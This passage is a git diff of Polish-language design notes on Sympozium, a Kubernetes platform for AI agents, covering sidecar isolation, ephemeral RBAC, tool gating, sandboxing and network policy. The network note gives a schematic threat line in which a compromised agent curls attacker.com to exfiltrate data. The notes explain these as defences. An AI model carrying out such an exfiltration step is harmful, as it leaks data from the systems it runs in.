|
||||
```yaml
|
||||
spec:
|
||||
concurrencyPolicy: Forbid # Nie twórz nowego jeśli poprzedni działa
|
||||
```
|
||||
|
||||
| Polityka | Zachowanie | Use case |
|
||||
|----------|------------|----------|
|
||||
| **Forbid** | Pomiń trigger jeśli run active | Health checks (nie chcemy pile-up) |
|
||||
| **Allow** | Twórz nowy niezależnie | Niezależne analizy |
|
||||
| **Replace** | Anuluj stary, twórz nowy | Real-time monitoring |
|
||||
|
||||
## Memory context
|
||||
|
||||
```yaml
|
||||
spec:
|
||||
includeMemory: true # Inject MEMORY.md do każdego runu
|
||||
```
|
||||
|
||||
Dzięki temu scheduled run:
|
||||
1. Czyta pamięć z poprzednich runów
|
||||
2. Kontynuuje od miejsca gdzie skończył
|
||||
3. Buduje kontekst między uruchomieniami
|
||||
|
||||
Przykład: agent monitorujący w heartbeat co 30 min:
|
||||
- Run 1: "Wykryłem 3 restarty poda X"
|
||||
- Memory: "Pod X ma problem z restartami (3 do tej pory)"
|
||||
- Run 2: "Pamięć mówi o restartach poda X. Sprawdzam - już 7 restartów. Eskalaruję."
|
||||
|
||||
## Przykład z PersonaPack
|
||||
|
||||
```yaml
|
||||
personas:
|
||||
- name: sre-watchdog
|
||||
schedule:
|
||||
type: heartbeat
|
||||
interval: "5m"
|
||||
task: |
|
||||
Check cluster health:
|
||||
- Pod restarts > 3
|
||||
- Node conditions
|
||||
- PVC usage > 80%
|
||||
Report and create issues for anomalies.
|
||||
memory:
|
||||
enabled: true
|
||||
seeds:
|
||||
- "Track repeated issues for trend analysis"
|
||||
- "Escalate if same issue persists > 3 checks"
|
||||
```
|
||||
|
||||
## Architektoniczne znaczenie
|
||||
|
||||
Scheduled tasks transformują Sympozium z "narzędzia do chatowania z AI" w **autonomiczną platformę operacyjną**:
|
||||
|
||||
- Agenty działają 24/7 bez ludzkiej interwencji
|
||||
- Budują pamięć i kontekst
|
||||
- Mogą eskalować do ludzi (via kanały)
|
||||
- Mogą same modyfikować swoje harmonogramy
|
||||
|
||||
To "sel-healing infrastructure" driven by AI.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumSchedule]] | [[Persistent Memory]] | [[PersonaPacks - zespoły agentów]]
|
||||
144
04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md
Normal file
144
04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md
Normal file
@@ -0,0 +1,144 @@
|
||||
# Skill Sidecars i auto-RBAC
|
||||
|
||||
#sympozium #agenty #skills #rbac #security
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Skill Sidecars to **najważniejsza innowacja bezpieczeństwa** Sympozium. Zamiast dawać agentowi bezpośredni dostęp do kubectl/helm/git, narzędzia uruchamiane są w **oddzielnym kontenerze z własnym, efemerycznym RBAC**.
|
||||
|
||||
## Dlaczego to ważne?
|
||||
|
||||
### Problem: In-process tool execution
|
||||
W frameworkach jak kagent/LangChain, narzędzia działają w tym samym procesie co agent:
|
||||
```
|
||||
Agent (z credentials) → tool call → kubectl (z credentials agenta)
|
||||
```
|
||||
Jeśli LLM zostanie "przekonany" do złośliwego tool call, ma pełne uprawnienia procesu.
|
||||
|
||||
### Rozwiązanie: Sidecar isolation
|
||||
```
|
||||
Agent (BEZ credentials) → /ipc/tools/*.json → IPC Bridge → NATS
|
||||
→ Skill Sidecar (z WŁASNYMI, scoped credentials) → kubectl
|
||||
```
|
||||
|
||||
Agent **nigdy nie posiada** credentials do K8s API. Tylko sidecar je ma, i to z least-privilege RBAC.
|
||||
|
||||
## Mechanizm
|
||||
|
||||
### 1. Deklaracja RBAC w SkillPack
|
||||
|
||||
```yaml
|
||||
# SkillPack CRD
|
||||
spec:
|
||||
sidecar:
|
||||
rbac: # Namespace-scoped
|
||||
- apiGroups: ["", "apps"]
|
||||
resources: ["pods", "deployments"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
clusterRBAC: # Cluster-scoped
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes"]
|
||||
verbs: ["get", "list"]
|
||||
```
|
||||
|
||||
### 2. Auto-provisioning przy starcie AgentRun
|
||||
|
||||
```
|
||||
AgentRun Pending:
|
||||
↓
|
||||
Controller czyta SkillPack RBAC declarations
|
||||
↓
|
||||
Tworzy:
|
||||
├── ServiceAccount: sympozium-agent (w namespace runu)
|
||||
├── Role: agentrun-<name>-<skill>
|
||||
│ └── rules: [z SkillPack rbac]
|
||||
├── RoleBinding: agentrun-<name>-<skill>
|
||||
│ └── roleRef → Role, subject → ServiceAccount
|
||||
├── ClusterRole: agentrun-<name>-<skill>
|
||||
│ └── rules: [z SkillPack clusterRBAC]
|
||||
└── ClusterRoleBinding: agentrun-<name>-<skill>
|
||||
└── roleRef → ClusterRole, subject → ServiceAccount
|
||||
```
|
||||
|
||||
### 3. Garbage collection po zakończeniu
|
||||
|
||||
```
|
||||
AgentRun Succeeded/Failed:
|
||||
↓
|
||||
Namespace RBAC:
|
||||
└── Automatyczne via ownerReference → AgentRun
|
||||
(K8s GC czyści gdy AgentRun usunięty)
|
||||
↓
|
||||
Cluster RBAC:
|
||||
└── Controller szuka po labelach:
|
||||
sympozium.ai/agentrun: <name>
|
||||
→ Delete ClusterRole
|
||||
→ Delete ClusterRoleBinding
|
||||
```
|
||||
|
||||
## Lifecycle RBAC
|
||||
|
||||
```
|
||||
AgentRun created
|
||||
↓
|
||||
[RBAC created] ← credentials istnieją
|
||||
↓
|
||||
Agent pod running - sidecar używa credentials
|
||||
↓
|
||||
AgentRun completed
|
||||
↓
|
||||
[RBAC deleted] ← credentials nie istnieją
|
||||
```
|
||||
|
||||
**Czas życia credentials = czas życia AgentRun** - to odpowiednik temporary IAM session credentials w AWS.
|
||||
|
||||
## Secret mirroring
|
||||
|
||||
Jeśli SkillPack referencjonuje Secret (np. GH_TOKEN):
|
||||
```
|
||||
Secret w sympozium-system → Kopia w namespace AgentRun
|
||||
→ Montowany w sidecarze pod /secrets/<name>/
|
||||
→ Usuwany po zakończeniu
|
||||
```
|
||||
|
||||
## Parametryzacja
|
||||
|
||||
Ten sam SkillPack może być konfigurowany inaczej per instancja:
|
||||
```yaml
|
||||
# Instance A
|
||||
skills:
|
||||
- skillPackRef: github-gitops
|
||||
params:
|
||||
REPO: team-a/repo-a
|
||||
|
||||
# Instance B
|
||||
skills:
|
||||
- skillPackRef: github-gitops
|
||||
params:
|
||||
REPO: team-b/repo-b
|
||||
```
|
||||
|
||||
Params → env vars `SKILL_REPO` w sidecarze.
|
||||
|
||||
## Architektura bezpieczeństwa
|
||||
|
||||
```
|
||||
┌─────────────────────────────────┐
|
||||
│ Agent Pod │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────────┐ │
|
||||
│ │ Agent │ │ Skill Sidecar│ │
|
||||
│ │ │ │ │ │
|
||||
│ │ BEZ K8s │ │ Z RBAC: │ │
|
||||
│ │ credentials│ │ - Role │ │
|
||||
│ │ │ │ - Binding │ │
|
||||
│ │ /ipc → │ │ - SA token │ │
|
||||
│ └──────────┘ └──────────────┘ │
|
||||
│ │ ↑ │
|
||||
│ └──── IPC ─────┘ │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Efemeryczny RBAC per-run]] | [[SkillPack]] | [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
68
04-Zarządzanie-Agentami/Sub-agenty i hierarchia.md
Normal file
68
04-Zarządzanie-Agentami/Sub-agenty i hierarchia.md
Normal file
@@ -0,0 +1,68 @@
|
||||
# Sub-agenty i hierarchia
|
||||
|
||||
#sympozium #agenty #sub-agents
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Sympozium wspiera **hierarchiczne spawning sub-agentów** - agent może tworzyć kolejne AgentRun CRs, które stają się jego "dziećmi".
|
||||
|
||||
## Konfiguracja
|
||||
|
||||
```yaml
|
||||
# W SympoziumInstance
|
||||
spec:
|
||||
agents:
|
||||
default:
|
||||
subagents:
|
||||
maxDepth: 2 # Max zagnieżdżenie (parent → child → grandchild)
|
||||
maxConcurrent: 5 # Max równoległych agent runów w drzewie
|
||||
maxChildrenPerAgent: 3 # Max dzieci per agent
|
||||
```
|
||||
|
||||
## Mechanizm
|
||||
|
||||
```
|
||||
Parent AgentRun
|
||||
├── spec.parent: null
|
||||
├── Tworzy child AgentRun:
|
||||
│ spec:
|
||||
│ parent:
|
||||
│ runName: parent-run
|
||||
│ sessionKey: parent-session
|
||||
│ spawnDepth: 1
|
||||
│ ↓
|
||||
│ └── Child AgentRun
|
||||
│ ├── Tworzy grandchild:
|
||||
│ │ spec.parent.spawnDepth: 2
|
||||
│ │ ↓
|
||||
│ │ └── Grandchild AgentRun
|
||||
│ │ └── maxDepth=2 → NIE może tworzyć dalej
|
||||
│ └── Child może mieć max 3 siblings (maxChildrenPerAgent)
|
||||
└── Parent czeka na wyniki children
|
||||
```
|
||||
|
||||
## Policy enforcement
|
||||
|
||||
`SubagentPolicySpec` w [[SympoziumPolicy]] enforcuje limity:
|
||||
- `maxDepth: 3` - admission webhook odrzuca AgentRun z spawnDepth > 3
|
||||
- `maxConcurrent: 5` - controller sprawdza ile runów jest aktywnych
|
||||
|
||||
## Use case
|
||||
|
||||
Sub-agenty umożliwiają **divide-and-conquer** workflows:
|
||||
```
|
||||
"Zoptymalizuj klaster" (parent)
|
||||
├── "Sprawdź zużycie CPU per namespace" (child 1)
|
||||
├── "Sprawdź zużycie pamięci per namespace" (child 2)
|
||||
└── "Sprawdź nieużywane PVC" (child 3)
|
||||
```
|
||||
|
||||
Każdy child to osobny Job z własnym RBAC, izolacją i lifecycle.
|
||||
|
||||
## Śledzenie
|
||||
|
||||
Env var `SPAWN_DEPTH` mówi agentowi na jakiej głębokości jest. Agent może podejmować decyzje na tej podstawie (np. nie tworzyć sub-agentów jeśli jest już głęboko).
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[AgentRun]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]
|
||||
83
04-Zarządzanie-Agentami/Tryb Server vs Task.md
Normal file
83
04-Zarządzanie-Agentami/Tryb Server vs Task.md
Normal file
@@ -0,0 +1,83 @@
|
||||
# Tryb Server vs Task
|
||||
|
||||
#sympozium #agenty #server-mode
|
||||
|
||||
## Dwa tryby wykonania
|
||||
|
||||
### Task mode (default)
|
||||
- Kubernetes **Job** - run-to-completion
|
||||
- Pod istnieje tylko przez czas wykonania
|
||||
- Garbage collection po zakończeniu
|
||||
- Dla: one-shot tasks, scheduled runs, channel messages
|
||||
|
||||
### Server mode
|
||||
- Kubernetes **Deployment + Service**
|
||||
- Pod żyje długo
|
||||
- Nie jest usuwany po "zakończeniu"
|
||||
- Dla: web endpoints, long-running services
|
||||
|
||||
## Kiedy server mode?
|
||||
|
||||
Server mode aktywowany gdy:
|
||||
1. `AgentRun.spec.mode = "server"` (jawnie ustawione)
|
||||
2. SkillPack ma `sidecar.requiresServer = true`
|
||||
|
||||
Typowy use case: **web-endpoint** skill, który eksponuje agenta jako HTTP API.
|
||||
|
||||
## Architektura server mode
|
||||
|
||||
```
|
||||
SympoziumInstance z skill "web-endpoint"
|
||||
↓
|
||||
Instance Reconciler → tworzy AgentRun (mode: server)
|
||||
↓
|
||||
AgentRun Reconciler → reconcilePendingServer():
|
||||
1. Deployment (zamiast Job)
|
||||
2. Service (ClusterIP)
|
||||
3. HTTPRoute (Envoy Gateway, jeśli dostępny)
|
||||
4. Auto-generated API key (Secret)
|
||||
↓
|
||||
Web Proxy Sidecar:
|
||||
- /v1/chat/completions (OpenAI-compat)
|
||||
- /sse, /message (MCP protocol)
|
||||
- Rate limiting
|
||||
- Auth via API key
|
||||
```
|
||||
|
||||
## Przepływ request'u w server mode
|
||||
|
||||
```
|
||||
HTTP Client → Gateway → HTTPRoute → Service → Web Proxy Pod
|
||||
↓
|
||||
Web Proxy tworzy per-request AgentRun (mode: task!)
|
||||
↓
|
||||
Normalny flow: Job → Agent → wynik → Web Proxy → HTTP Response
|
||||
```
|
||||
|
||||
Kluczowe: web proxy sidecar sam działa w server mode, ale **każdy request to osobny task-mode AgentRun** - zachowujemy ephemeral model dla izolacji.
|
||||
|
||||
## Reconciliation server mode
|
||||
|
||||
`reconcileServing()` (zamiast reconcileRunning):
|
||||
- Sprawdza Deployment health
|
||||
- Sprawdza Service health
|
||||
- Reconciliuje HTTPRoute
|
||||
- Requeue co 30 sekund
|
||||
|
||||
`reconcileDelete()` dla server mode:
|
||||
- Delete Deployment
|
||||
- Delete Service
|
||||
- Delete HTTPRoute
|
||||
- Delete API key Secret
|
||||
|
||||
## Faza Serving
|
||||
|
||||
```
|
||||
AgentRun phases:
|
||||
Pending → Serving (nie Running!)
|
||||
Serving (długo) → Succeeded (gdy usunięty)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Web Endpoints - OpenAI-compat API]] | [[Cykl życia AgentRun]] | [[Model efemerycznych agentów]]
|
||||
69
05-Bezpieczeństwo/Admission Webhooks i polityki.md
Normal file
69
05-Bezpieczeństwo/Admission Webhooks i polityki.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# Admission Webhooks i polityki
|
||||
|
||||
#sympozium #security #admission #webhook
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Polityki Sympozium są enforcowane **at admission time** - przed utworzeniem poda, nie at runtime. To gwarantuje że żaden AgentRun nie ominie polityki.
|
||||
|
||||
## Przepływ
|
||||
|
||||
```
|
||||
kubectl apply -f agentrun.yaml
|
||||
↓
|
||||
K8s API Server → Admission Webhook
|
||||
↓
|
||||
Webhook:
|
||||
1. Odczytuje policyRef z SympoziumInstance
|
||||
2. Ładuje SympoziumPolicy
|
||||
3. Sprawdza:
|
||||
├── Sandbox requirements (required? image? resources?)
|
||||
├── Agent Sandbox requirements (runtime class allowed?)
|
||||
├── Tool gating (allow/deny/ask per tool)
|
||||
├── Feature gates (memory? web-endpoint? channels?)
|
||||
├── Subagent limits (maxDepth? maxConcurrent?)
|
||||
└── Network policy rules
|
||||
4. ALLOW → AgentRun created
|
||||
DENY → AgentRun rejected z clear error message
|
||||
```
|
||||
|
||||
## Kluczowe różnice vs runtime enforcement
|
||||
|
||||
| Aspekt | Admission-time | Runtime |
|
||||
|--------|---------------|---------|
|
||||
| Timing | Przed tworzeniem zasobu | Po uruchomieniu |
|
||||
| Obejście | Niemożliwe (K8s API layer) | Możliwe (process-level) |
|
||||
| Feedback | Natychmiast (synchroniczny) | Opóźniony (async) |
|
||||
| Overhead | Tylko przy tworzeniu | Ciągły monitoring |
|
||||
|
||||
## Tool Gating
|
||||
|
||||
```yaml
|
||||
toolGating:
|
||||
defaultAction: deny
|
||||
rules:
|
||||
- tool: read_file
|
||||
action: allow
|
||||
- tool: execute_command
|
||||
action: deny
|
||||
- tool: write_file
|
||||
action: ask # Human-in-the-loop
|
||||
```
|
||||
|
||||
Trzy akcje:
|
||||
- `allow` - tool dozwolony
|
||||
- `deny` - tool zablokowany (webhook reject)
|
||||
- `ask` - wymaga human approval (future feature)
|
||||
|
||||
## Presetowe polityki
|
||||
|
||||
```
|
||||
config/policies/
|
||||
├── permissive.yaml # Dev/demo: all allowed
|
||||
├── default.yaml # General: execute_command requires approval
|
||||
└── restrictive.yaml # Production: deny-by-default, whitelist
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[Efemeryczny RBAC per-run]]
|
||||
108
05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md
Normal file
108
05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Agent Sandbox - gVisor i Kata
|
||||
|
||||
#sympozium #security #sandbox #gvisor #kata
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Agent Sandbox to **opcjonalna warstwa izolacji na poziomie kernela** integrująca `kubernetes-sigs/agent-sandbox`. Zamiast tworzenia [[Job]], [[Controller i Reconciler|controller]] tworzy Sandbox CR (patrz [[CRD - Custom Resource Definition|CRD]]).
|
||||
|
||||
## Porównanie
|
||||
|
||||
| Cecha | Default (Job) | Agent Sandbox |
|
||||
|-------|---------------|---------------|
|
||||
| Izolacja | Container (cgroups, namespaces) | Kernel-level |
|
||||
| [[gVisor]] | Nie | Tak - user-space kernel |
|
||||
| [[Kata Containers\|Kata]] | Nie | Tak - lightweight VM |
|
||||
| Cold start | 5-30s | Warm pools: ~1s |
|
||||
| Lifecycle | Run-to-completion | Suspend/resume |
|
||||
| Identity | Ephemeral pod name | Stable hostname |
|
||||
| Overhead | Niski | gVisor ~5-10%, Kata ~VM |
|
||||
|
||||
## Architektura
|
||||
|
||||
```
|
||||
AgentRun (agentSandbox.enabled: true)
|
||||
│
|
||||
├── Normalny flow: Controller → Sandbox CR
|
||||
│ └── spec.podTemplate = ten sam co Job
|
||||
│ └── spec.runtimeClassName: gvisor/kata
|
||||
│ └── ownerReference → AgentRun
|
||||
│
|
||||
└── Z warm pool: Controller → SandboxClaim
|
||||
└── Claims pre-warmed sandbox z SandboxWarmPool
|
||||
```
|
||||
|
||||
## Warm Pools
|
||||
|
||||
Eliminują cold start:
|
||||
|
||||
```
|
||||
Bez warm pool:
|
||||
AgentRun → Sandbox CR → Pod scheduled → Image pulled → Ready
|
||||
(~5-30 sekund)
|
||||
|
||||
Z warm pool:
|
||||
AgentRun → SandboxClaim → Pre-warmed sandbox → Ready
|
||||
(~1 sekunda)
|
||||
```
|
||||
|
||||
### Konfiguracja
|
||||
```yaml
|
||||
# SympoziumInstance
|
||||
spec:
|
||||
agents:
|
||||
default:
|
||||
agentSandbox:
|
||||
enabled: true
|
||||
warmPool:
|
||||
size: 3 # 3 pre-warmed sandboxes
|
||||
runtimeClass: gvisor
|
||||
```
|
||||
|
||||
Controller automatycznie tworzy SandboxWarmPool CR.
|
||||
|
||||
## Policy enforcement
|
||||
|
||||
```yaml
|
||||
# SympoziumPolicy
|
||||
spec:
|
||||
sandboxPolicy:
|
||||
agentSandboxPolicy:
|
||||
required: true # WYMUSZAJ agent-sandbox
|
||||
defaultRuntimeClass: gvisor
|
||||
allowedRuntimeClasses: [gvisor, kata] # Whitelist runtimes
|
||||
```
|
||||
|
||||
## Komplementarność z innymi warstwami
|
||||
|
||||
Agent Sandbox **uzupełnia** istniejące zabezpieczenia:
|
||||
|
||||
| Warstwa | Aktywna z Agent Sandbox? |
|
||||
|---------|--------------------------|
|
||||
| NetworkPolicy deny-all | Tak |
|
||||
| Pod SecurityContext | Tak |
|
||||
| SympoziumPolicy webhook | Tak |
|
||||
| Ephemeral skill RBAC | Tak |
|
||||
| Seccomp profile | Tak |
|
||||
| **+ Kernel isolation** | **NOWE** |
|
||||
|
||||
## Graceful degradation
|
||||
|
||||
| Scenariusz | Zachowanie |
|
||||
|------------|------------|
|
||||
| Disabled w Helm | Zero code paths, zero overhead |
|
||||
| Enabled, CRDs not installed | Warning log, feature disabled |
|
||||
| Enabled, CRDs installed, no gVisor | Sandbox CRs work, no kernel isolation |
|
||||
| Fully configured | Full kernel-level isolation |
|
||||
|
||||
## Mutual exclusivity
|
||||
|
||||
Dwa koncepty "sandbox":
|
||||
- `sandbox.enabled` → sidecar container (stary)
|
||||
- `agentSandbox.enabled` → Sandbox CR (nowy, kernel-level)
|
||||
|
||||
Nie mogą być oba włączone - webhook to enforcuje.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]
|
||||
77
05-Bezpieczeństwo/Efemeryczny RBAC per-run.md
Normal file
77
05-Bezpieczeństwo/Efemeryczny RBAC per-run.md
Normal file
@@ -0,0 +1,77 @@
|
||||
# Efemeryczny RBAC per-run
|
||||
|
||||
#sympozium #security #rbac
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Odpowiednik **temporary IAM session credentials** w Kubernetes (patrz [[RBAC]] dla wyjaśnienia systemu). Credentials istnieją TYLKO przez czas trwania AgentRun.
|
||||
|
||||
## Lifecycle
|
||||
|
||||
```
|
||||
AgentRun CREATED
|
||||
↓
|
||||
Controller tworzy:
|
||||
├── Role (namespace-scoped)
|
||||
│ ├── ownerRef → AgentRun
|
||||
│ └── rules: [z SkillPack.sidecar.rbac]
|
||||
├── RoleBinding
|
||||
│ ├── ownerRef → AgentRun
|
||||
│ └── subject → ServiceAccount "sympozium-agent"
|
||||
├── ClusterRole (cluster-scoped)
|
||||
│ ├── labels: sympozium.ai/agentrun: <name>
|
||||
│ └── rules: [z SkillPack.sidecar.clusterRBAC]
|
||||
└── ClusterRoleBinding
|
||||
├── labels: sympozium.ai/agentrun: <name>
|
||||
└── subject → ServiceAccount "sympozium-agent"
|
||||
↓
|
||||
[CREDENTIALS ACTIVE - sidecar can use them]
|
||||
↓
|
||||
AgentRun COMPLETED
|
||||
↓
|
||||
Controller czyści:
|
||||
├── Namespace RBAC → auto via ownerReference (K8s GC)
|
||||
└── Cluster RBAC → manual via label selector (controller)
|
||||
↓
|
||||
[CREDENTIALS DELETED - no standing access]
|
||||
```
|
||||
|
||||
## Dlaczego nie standing role?
|
||||
|
||||
### Problem standing god-role:
|
||||
```
|
||||
ServiceAccount z cluster-admin → ZAWSZE ma pełne uprawnienia
|
||||
→ Compromised pod = pełny dostęp do klastra
|
||||
→ Brak auditu "kto kiedy co robił"
|
||||
```
|
||||
|
||||
### Ephemeral RBAC:
|
||||
```
|
||||
Run #1: Role [get pods] → exists for 30s → deleted
|
||||
Run #2: Role [get deployments] → exists for 45s → deleted
|
||||
→ Credentials istnieją minimum possible time
|
||||
→ Każdy run ma TYLKO te uprawnienia które potrzebuje
|
||||
→ Pełny audit trail (RBAC resources w etcd)
|
||||
```
|
||||
|
||||
## Controller privilege
|
||||
|
||||
Controller sam potrzebuje `cluster-admin` bo:
|
||||
- Tworzy dowolne Role/ClusterRole (definiowane w SkillPacks)
|
||||
- K8s RBAC escalation prevention wymaga tego
|
||||
- To jedyny komponent z takimi uprawnieniami
|
||||
|
||||
## Namespace vs Cluster scope
|
||||
|
||||
| Typ | Mechanizm cleanup | Scope |
|
||||
|-----|-------------------|-------|
|
||||
| Role + RoleBinding | ownerReference → AgentRun | Namespace |
|
||||
| ClusterRole + ClusterRoleBinding | Label selector → controller cleanup | Cluster |
|
||||
|
||||
[[Namespace]]-scoped RBAC jest automatycznie garbage-collected przez K8s gdy AgentRun jest usunięty ([[ownerReference|ownerRef]] chain).
|
||||
|
||||
Cluster RBAC nie może mieć cross-namespace ownerRef (ograniczenie K8s - patrz [[ownerReference]]), więc [[Controller i Reconciler|controller]] czyści ręcznie po labelach.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[SkillPack]]
|
||||
112
05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md
Normal file
112
05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md
Normal file
@@ -0,0 +1,112 @@
|
||||
# Model bezpieczeństwa Defence-in-Depth
|
||||
|
||||
#sympozium #security #defence-in-depth
|
||||
|
||||
## Filozofia
|
||||
|
||||
Sympozium implementuje **defence-in-depth** - wiele niezależnych warstw bezpieczeństwa, gdzie przełamanie jednej nie daje dostępu do systemu.
|
||||
|
||||
## Warstwy bezpieczeństwa
|
||||
|
||||
```
|
||||
┌───────────────────────────────────────────────┐
|
||||
│ Warstwa 7: Agent Sandbox (gVisor/Kata) │ ← Izolacja kernela
|
||||
│ ┌───────────────────────────────────────────┐│
|
||||
│ │ Warstwa 6: NetworkPolicy (deny-all) ││ ← Izolacja sieciowa
|
||||
│ │ ┌───────────────────────────────────────┐││
|
||||
│ │ │ Warstwa 5: Admission Webhook │││ ← Walidacja przed tworzeniem
|
||||
│ │ │ ┌───────────────────────────────────┐│││
|
||||
│ │ │ │ Warstwa 4: Ephemeral RBAC ││││ ← Efemeryczne credentials
|
||||
│ │ │ │ ┌───────────────────────────────┐││││
|
||||
│ │ │ │ │ Warstwa 3: Pod SecurityContext │││││ ← Hardened container
|
||||
│ │ │ │ │ ┌───────────────────────────┐│││││
|
||||
│ │ │ │ │ │ Warstwa 2: Sidecar isol. ││││││ ← Separacja credentials
|
||||
│ │ │ │ │ │ ┌───────────────────────┐│││││││
|
||||
│ │ │ │ │ │ │ Warstwa 1: Ephemeral ││││││││ ← Krótki czas życia
|
||||
│ │ │ │ │ │ │ pod lifecycle ││││││││
|
||||
│ │ │ │ │ │ └───────────────────────┘│││││││
|
||||
│ │ │ │ │ └───────────────────────────┘││││││
|
||||
│ │ │ │ └───────────────────────────────┘│││││
|
||||
│ │ │ └───────────────────────────────────┘││││
|
||||
│ │ └───────────────────────────────────────┘│││
|
||||
│ └───────────────────────────────────────────┘││
|
||||
└───────────────────────────────────────────────┘│
|
||||
│
|
||||
Multi-tenancy (namespaced CRDs + K8s RBAC) ─────┘
|
||||
```
|
||||
|
||||
## Szczegóły warstw
|
||||
|
||||
### Warstwa 1: Ephemeral [[Pod]] Lifecycle
|
||||
- Każdy run = nowy pod = czyste środowisko
|
||||
- Brak persistent state w podzie
|
||||
- Automatyczny cleanup po zakończeniu
|
||||
- **Atak musi się zmieścić w jednym runie**
|
||||
|
||||
### Warstwa 2: [[Sidecar Pattern|Sidecar]] Isolation
|
||||
- Agent NIE MA credentials K8s API
|
||||
- Tylko skill sidecar ma [[RBAC]]
|
||||
- Tool calls przechodzą przez IPC (filesystem → NATS)
|
||||
- **Compromised agent nie ma bezpośredniego dostępu do klastra**
|
||||
|
||||
### Warstwa 3: Pod [[SecurityContext]]
|
||||
```yaml
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 1000
|
||||
readOnlyRootFilesystem: true
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
seccompProfile:
|
||||
type: RuntimeDefault
|
||||
```
|
||||
|
||||
### Warstwa 4: Ephemeral [[RBAC]]
|
||||
- Credentials żyją TYLKO przez czas runu
|
||||
- Least-privilege (deklarowane w SkillPack)
|
||||
- [[Namespace]]-scoped ([[ownerReference|ownerRef]] GC) + Cluster-scoped (label-based cleanup)
|
||||
- **Brak standing god-role**
|
||||
|
||||
### Warstwa 5: [[Admission Webhook]]
|
||||
- `SympoziumPolicy` enforced PRZED tworzeniem poda
|
||||
- Tool gating (allow/deny/ask per tool)
|
||||
- Sandbox requirements
|
||||
- Feature gates
|
||||
- **Policy nie może być obejścia at runtime**
|
||||
|
||||
### Warstwa 6: [[NetworkPolicy]]
|
||||
- Deny-all egress na agent pods
|
||||
- Tylko IPC bridge ma dostęp do NATS
|
||||
- Whitelist konkretnych endpointów (API providerów)
|
||||
- **Agent nie może sięgnąć do internetu ani innych podów**
|
||||
|
||||
### Warstwa 7: Agent Sandbox (opcjonalna)
|
||||
- [[gVisor]]: user-space kernel - agent nie komunikuje się z host kernel
|
||||
- [[Kata Containers|Kata]]: lightweight VM - pełna izolacja na poziomie hypervisora
|
||||
- Warm pools eliminują cold-start penalty
|
||||
- **Nawet container escape nie daje dostępu do hosta**
|
||||
|
||||
## Multi-tenancy
|
||||
|
||||
Dodatkowa warstwa ortogonalna do powyższych:
|
||||
- CRDs namespace-scoped
|
||||
- Standard K8s RBAC kontroluje kto tworzy agentów
|
||||
- Każdy tenant (SympoziumInstance) izolowany
|
||||
- ownerReferences zapobiegają cross-tenant access
|
||||
|
||||
## Porównanie z alternatywami
|
||||
|
||||
| Warstwa | Sympozium | kagent | LangChain |
|
||||
|---------|-----------|--------|-----------|
|
||||
| Ephemeral lifecycle | Job per run | Persistent engine | In-process |
|
||||
| Sidecar isolation | Tak | Nie | Nie |
|
||||
| SecurityContext | Hardened | Standard | N/A |
|
||||
| Ephemeral RBAC | Tak | Standing SA | N/A |
|
||||
| Admission webhook | SympoziumPolicy | Nie | Nie |
|
||||
| NetworkPolicy | deny-all | Nie | Nie |
|
||||
| Kernel sandbox | gVisor/Kata | Nie | Nie |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Agent Sandbox - gVisor i Kata]] | [[Efemeryczny RBAC per-run]] | [[NetworkPolicy i izolacja sieciowa]]
|
||||
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# NetworkPolicy i izolacja sieciowa
|
||||
|
||||
#sympozium #security #network
|
||||
|
||||
## Zasada
|
||||
|
||||
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
|
||||
|
||||
## Implementacja
|
||||
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: agent-deny-all
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
sympozium.ai/component: agent
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress: [] # DENY ALL
|
||||
```
|
||||
|
||||
## Wyjątki (via SympoziumPolicy)
|
||||
|
||||
```yaml
|
||||
networkPolicy:
|
||||
denyAll: true
|
||||
allowDNS: true # Agent może rozwiązywać nazwy
|
||||
allowEventBus: true # IPC Bridge → NATS
|
||||
allowedEgress: # Whitelist
|
||||
- host: "api.openai.com"
|
||||
port: 443
|
||||
```
|
||||
|
||||
## Dlaczego to ważne?
|
||||
|
||||
### Scenariusz ataku bez NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl attacker.com → exfiltrate data
|
||||
Compromised agent → curl internal-api.svc → lateral movement
|
||||
```
|
